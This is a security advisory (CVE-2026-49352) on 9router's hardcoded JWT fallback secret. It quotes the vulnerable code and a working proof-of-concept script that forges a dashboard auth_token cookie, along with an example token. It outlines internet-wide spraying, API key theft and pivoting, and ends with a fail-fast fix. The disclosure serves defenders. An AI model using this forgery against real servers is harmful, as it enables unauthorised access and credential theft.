CVE-2026-49352

Description

### Summary 9router uses a publicly known hardcoded string `"9router-default-secret-change-me"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server ### Details | Versions | File | Note | |---|---|---| | `>= 0.2.21, <= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` | | `>= 0.4.31, <= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged | Vulnerable Code **v0.2.21 – v0.4.30** — `src/app/api/auth/login/route.js` and `src/middleware.js`: ```js const SECRET = new TextEncoder().encode( process.env.JWT_SECRET || "9router-default-secret-change-me" ); ``` **v0.4.31 – v0.4.41 (current)** — `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`): ```js const SECRET = new TextEncoder().encode( process.env.JWT_SECRET || "9router-default-secret-change-me" ); ``` The fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication. ### PoC **Step 1.** Craft a JWT signed with the known default secret: ```js import { SignJWT } from "jose"; const SECRET = new TextEncoder().encode("9router-default-secret-change-me"); const token = await new SignJWT({ authenticated: true }) .setProtectedHeader({ alg: "HS256" }) .setIssuedAt() .setExpirationTime("36y") .sign(SECRET); console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w ``` **Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://<target>/dashboard` - completely authentication bypass ### Attack Scenario: - Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET - Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database ### Impact - A successful attack grants attacker **full API Key, Auth Token** that 9router hold - They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything - **Pivot** via the MCP stdio→SSE bridge exposed at `/api/mcp/` (exploit CVE-2026-46339) ## Recommended Fix **Require** `JWT_SECRET` at startup and fail fast rather than falling back silently: ```js const jwtSecret = process.env.JWT_SECRET; if (!jwtSecret) { throw new Error( "JWT_SECRET environment variable is not set. " + "Generate one with: openssl rand -hex 32" ); } const SECRET = new TextEncoder().encode(jwtSecret); ``` Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but **never** fall back to a publicly known constant.